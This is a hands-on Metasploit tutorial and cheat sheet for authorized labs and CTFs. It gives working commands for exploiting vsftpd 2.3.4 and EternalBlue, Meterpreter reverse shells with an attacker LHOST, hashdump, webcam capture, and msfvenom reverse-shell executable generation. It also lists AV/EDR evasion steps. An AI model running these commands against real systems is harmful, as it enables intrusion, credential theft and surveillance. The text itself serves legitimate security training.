

Metasploit & Exploitation

Practical Notes — Beginner to Advanced (Commands-First)

■ For authorized lab/CTF use only. Always get written permission before testing any system you don't own.

0. Core Concept (Quick Theory)

Exploitation = using a known vulnerability to prove real access is possible (proof-of-concept), not causing damage. Always: written permission → confidentiality → clear reporting.

Penetration Testing Lifecycle (5 Stages)

Stage	Goal	Typical Tools
1. Reconnaissance	OSINT on target	Google, Shodan, whois
2. Scanning/Enumeration	Find hosts, ports, services	nmap, Metasploit auxiliary scanners
3. Exploitation	Gain access via vulnerability	Metasploit exploit modules
4. Post-Exploitation	Escalate, extract, pivot	Meterpreter
5. Reporting	Document findings clearly	Written report

The rest of this document is **hands-on**: real msfconsole commands, module paths, and workflows.

1. msfconsole — Getting Started

1.1 Launch & Core Commands

```
msfconsole # launch the console
help # list all commands
search <term> # search for exploits/modules
info <module_path> # show details before using a module
use <module_path> # load a module
show options # show required parameters
set <OPTION> <value> # set a parameter
show payloads # list compatible payloads
set PAYLOAD <payload_name> # choose a payload
run / exploit # launch the module
sessions -l # list active sessions
sessions -i <id> # interact with a session
background # background current session (Ctrl+Z)
```

■ Always run `info`` before `run`/`exploit`` — best practice to understand behavior first.

1.2 Full Practical Example: Exploiting VSFTPD

```
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 10.10.10.5
set RPORT 21
show payloads
set PAYLOAD cmd/unix/interact
exploit
sessions -i 1
```

1.3 Useful Shortcuts

- **Tab** — autocompletion for commands, module paths, options.
- **show exploits** — list all exploit modules currently loaded.
- **show auxiliary** — list all auxiliary modules.
- **back** — unload the current module and return to the main prompt.

2. Payloads — Practical Selection

2.1 The 3 Payload Types

Type	What it does	Example
Single	Self-contained, one action, no dependency	windows/exec, windows/adduser
Stager	Small, opens connection back, fetches full payload	windows/meterpreter/reverse_tcp
Stage	Full-featured payload delivered by a stager	Meterpreter itself

2.2 Setting Up a Reverse Shell Payload

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.20
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5 # your attacker IP
set LPORT 4444
exploit
```

2.3 Common Payload Naming Pattern

```
<platform>/<arch>/<payload_type>/<connection_type>
# example:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/reverse_tcp
windows/meterpreter/bind_tcp # target connects out to attacker (reverse)
# attacker connects into target (bind)
```

2.4 Meterpreter — Practical Commands (once you have a session)

```
sysinfo # target system info
getuid # current user
ps # list processes
migrate <PID> # move into another process (stealth)
hashdump # dump password hashes
download <file> # pull file from target
upload <file> # push file to target
shell # drop to native OS shell
webcam_list / webcam_snap
screenshot
persistence -X # (deprecated in newer versions, use post modules)
background
```

3. Auxiliary Modules — Recon Without Exploiting

3.1 The 4 Categories

Category	Purpose	Example module
Scanner	Port/service/version discovery	auxiliary/scanner/ssh/ssh_version
Fuzzer	Send malformed input to find bugs	auxiliary/fuzzers/...
Sniffer	Passively capture traffic	auxiliary/sniffer/psnuffle
Spoofers	Simulate/intercept communications	auxiliary/spoof/arp/arp_poisoning

3.2 Practical: Detect SMB Version (EternalBlue Check)

```
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run
```

■ This checks for SMBv1 (linked to EternalBlue / CVE-2017-0144) WITHOUT exploiting — safe for production networks.

3.3 Practical: SSH Version Scan

```
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.5
run
```

3.4 Practical: Port Scan via Metasploit

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.5
set PORTS 1-1000
run
```

3.5 Workflow: Recon → Exploit

- 1. Run scanner auxiliary module to fingerprint services.
- 2. Cross-reference the version against known CVEs (search msfconsole or CVE databases).
- 3. Load the matching exploit module with **use**.
- 4. Set RHOSTS/RPORT, choose a payload, run.

4. Exploit Development — Practical Workflow

4.1 The 5-Stage Process

Stage	What you actually do
1. Vulnerability ID	Fuzz target (AFL, LibFuzzer, PeachFuzzer) or manual code review to trigger a crash
2. Root Cause Analysis	Use GDB + Pwndbg / IDA Pro / Ghidra to find exact faulty instruction & memory state
3. Proof of Concept	Write minimal script that reliably reproduces the crash (no payload yet)
4. Payload Integration	Replace crash trigger with shellcode/reverse shell (Python/Ruby or MSFVenom)
5. Stabilization & Evasion	Add NOP sleds, bypass ASLR/stack canaries, use ROP chains, obfuscate for AV/EDR

4.2 Generating Shellcode with MSFVenom

```
# Windows reverse shell .exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf

# Raw shellcode for buffer overflow (C-format)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f c -b '\x00\x0a\x0d'
```

■ *-b excludes 'bad characters' (e.g. null bytes) that would break the exploit's input parsing.*

4.3 4 Common Exploit Types — What to Look For

Type	Root Cause	Key Tool/Defense
Stack Buffer Overflow	Writing past a fixed buffer, overwriting return address	GDB+Pwndbg / stack canaries, ASLR
Use-After-Free (UAF)	Using a pointer after memory is freed	Common in browsers/C++; ASAN for detection
Format String Bug	User input passed directly to printf()-like function	Fixed format strings prevent it
Command Injection	Unvalidated input passed to a shell (sh/bash)	Input sanitization, avoid shell calls

4.4 Basic GDB/Pwndbg Workflow (Buffer Overflow Practice)

```
gdb ./vulnerable_binary
gdb-peda$ run < input.txt # or use pwndbg
(gdb) info registers # check EIP/RIP overwrite
(gdb) x/20xw $esp # examine stack memory
# Once you control EIP/RIP, calculate offset with a cyclic pattern:
```

```
pattern create 200 # pwntools/msf-pattern_create
pattern offset <EIP_value> # find exact overflow offset
```

4.5 Toolkit Cheat-Sheet

- **GDB + Pwndbg** — Linux binary debugging/exploitation.
- **Ghidra / IDA Pro** — disassembly & reverse engineering.
- **Pwntools** (Python) — automate exploit scripts, works great for CTFs.
- **MSFVenom** — generate payloads/shellcode in any format.
- **Immunity Debugger** — Windows exploit dev, scriptable.
- **Radare2** — lightweight reverse engineering framework.

5. Best Practices & Quick Reference

5.1 Rules Before Every Engagement

- Get **written authorization** — no exceptions.
- Stick to **isolated lab environments** unless scope explicitly covers production.
- Log every action taken (for reporting & reproducibility).
- Run **info** before every exploit/module.
- Match payload to **objective** — don't over-reach beyond the test's defined scope.

5.2 One-Page Command Cheat Sheet

```
# --- Recon ---
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ssh/ssh_version

# --- Exploit workflow ---
search <cve or service name>
use <exploit/path>
show options
set RHOSTS <target>
set PAYLOAD <payload/path>
set LHOST <attacker_ip>
exploit

# --- Session handling ---
sessions -l
sessions -i <id>
background

# --- Meterpreter essentials ---
sysinfo / getuid / ps / migrate <pid>
hashdump / download / upload / shell

# --- Payload generation ---
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <outfile>
```

Summary: Recon with auxiliary modules → match findings to a CVE/exploit → set RHOSTS/payload/LHOST → exploit → work in Meterpreter for post-exploitation → for advanced work, build/debug your own exploits with GDB/Pwndbg/Ghidra and generate shellcode with MSFVenom. Always operate with written authorization.